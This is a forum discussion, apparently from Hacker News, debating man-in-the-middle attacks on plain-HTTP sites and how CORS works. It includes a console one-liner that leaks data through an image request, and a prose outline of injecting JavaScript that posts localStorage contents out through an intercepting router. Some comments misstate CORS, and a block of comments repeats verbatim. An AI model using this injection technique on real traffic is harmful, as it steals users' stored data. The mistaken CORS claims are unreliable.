> The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it.
Only if the page is originally requested from evil.com or if evil.com is listed in the CORS http header from the legitimate domain.
In order for this attack to work evil.com needs to be added to the CORS list in the http header and JavaScript needs to be inserted into the page body to make XHR calls to the evil.com domain.
> Did you test this on HN?
I tested it on a couple of sites both with http and https. It is not a valid vector of attack. Don't take my word for it. Try it.
---
All these technical conversations are really a red herring based upon the untested assumption that modification of page traffic is trivial if the page is served over HTTP. While this is possible it isn't trivial and requires multiple stages of compromise.
Typically man in the middle attacks refer to encrypted traffic, such as HTTPS, instead of plain text traffic. The benefit of a man in the middle attack is that the attacker is in the encrypted tunnel between the two end points reading data that is otherwise encrypted and thereby voiding any benefit of encryption.
Modifying traffic is less trivial than reading traffic. It is certainly less valuable when there are security conventions in place to ensure end point authenticity, as in limited to only locations that are available by address and policy.
> I don't mean to brag, but just to point out a possibly relevant credential:
Don't care. I myself have found and reported a critical flaw in V8 that broke recursive function access under certain conditions. I don't remember when the resolution was released to V8, but it was first available to Node with 4.2.4 on 2015-12-23. All prior versions of V8 were impacted.
> If an attacker MITMs yoursite.com and modifies the javascript
And how would you do that? I have not seen anybody prove they can both MiTM a production site and modify the data in a way that breaks same origin policy yet everybody says its trivial. If you really want to brag and get another 4 digit bug bounty then prove that.
if evil.com is listed in the CORS http header from the legitimate domain.
That's not how CORS works; the header is read from the domain being called from JavaScript, not from the domain where the JavaScript came from. So in this case, the injected JS will call evil.com, and so the CORS headers will be read from evil.com.
>Only if the page is originally requested from evil.com or if evil.com is listed in the CORS http header from the legitimate domain.
You have CORS backwards. Domains give other domains permissions to access them in CORS. I think you're thinking of Content-Security-Policy here (which lets a domain specify other domains that may be interacted with from the domain), but I've already mentioned a number of issues with it (the first being that a MITM can just remove that header).
>I tested it on a couple of sites both with http and https. It is not a valid vector of attack. Don't take my word for it. Try it.
If you open example.com and run this in the console:
(new Image).src = 'https://news.ycombinator.com/y18.gif?userdata=123'
then an HTTP(S) request is triggered. The operator of that domain's server can see a request happened and see the userdata parameter. (If you do it with a URL that doesn't respond with an image, then you may see a warning in the console like "Cross-Origin Read Blocking (CORB) blocked cross-origin response ...", but that warning only means that example.com doesn't get to read the response. The request still happened and the attacker already leaked the userdata.)
>All these technical conversations are really a red herring based upon the untested assumption that modification of page traffic is trivial if the page is served over HTTP. While this is possible it isn't trivial and requires multiple stages of compromise.
If the attacker is the ISP, or controls a wifi router that victims are using, then it's trivial[0].
>Typically man in the middle attacks refer to encrypted traffic, such as HTTPS, instead of plain text traffic.
Wasn't this entire comment chain started from you saying that HTTPS was unnecessary in some certain situation? Everyone is responding to you about attacks that are possible if you decide not to use HTTPS. I think we've lost the plot if you're going to interpret these attacks as if your site is using HTTPS.
> And how would you do that? I have not seen anybody prove they can both MiTM a production site and modify the data in a way that breaks same origin policy
Easy: run a public wireless router (or run an ISP) that people use to connect to HTTP sites. If you want, you can append some code to any javascript file coming through to POST the contents of localStorage (and indexeddb, etc) to a page on the same domain (and that request will go through you, so you see the data). You filter out any Content-Security-Policy headers that might restrict the page from making ajax connections to itself. There's only one domain involved, so same origin policy doesn't affect anything at all in this situation.
Only if the page is originally requested from evil.com or if evil.com is listed in the CORS http header from the legitimate domain.
In order for this attack to work evil.com needs to be added to the CORS list in the http header and JavaScript needs to be inserted into the page body to make XHR calls to the evil.com domain.
> Did you test this on HN?
I tested it on a couple of sites both with http and https. It is not a valid vector of attack. Don't take my word for it. Try it.
---
All these technical conversations are really a red herring based upon the untested assumption that modification of page traffic is trivial if the page is served over HTTP. While this is possible it isn't trivial and requires multiple stages of compromise.
Typically man in the middle attacks refer to encrypted traffic, such as HTTPS, instead of plain text traffic. The benefit of a man in the middle attack is that the attacker is in the encrypted tunnel between the two end points reading data that is otherwise encrypted and thereby voiding any benefit of encryption.
Modifying traffic is less trivial than reading traffic. It is certainly less valuable when there are security conventions in place to ensure end point authenticity, as in limited to only locations that are available by address and policy.
> I don't mean to brag, but just to point out a possibly relevant credential:
Don't care. I myself have found and reported a critical flaw in V8 that broke recursive function access under certain conditions. I don't remember when the resolution was released to V8, but it was first available to Node with 4.2.4 on 2015-12-23. All prior versions of V8 were impacted.
> If an attacker MITMs yoursite.com and modifies the javascript
And how would you do that? I have not seen anybody prove they can both MiTM a production site and modify the data in a way that breaks same origin policy yet everybody says its trivial. If you really want to brag and get another 4 digit bug bounty then prove that.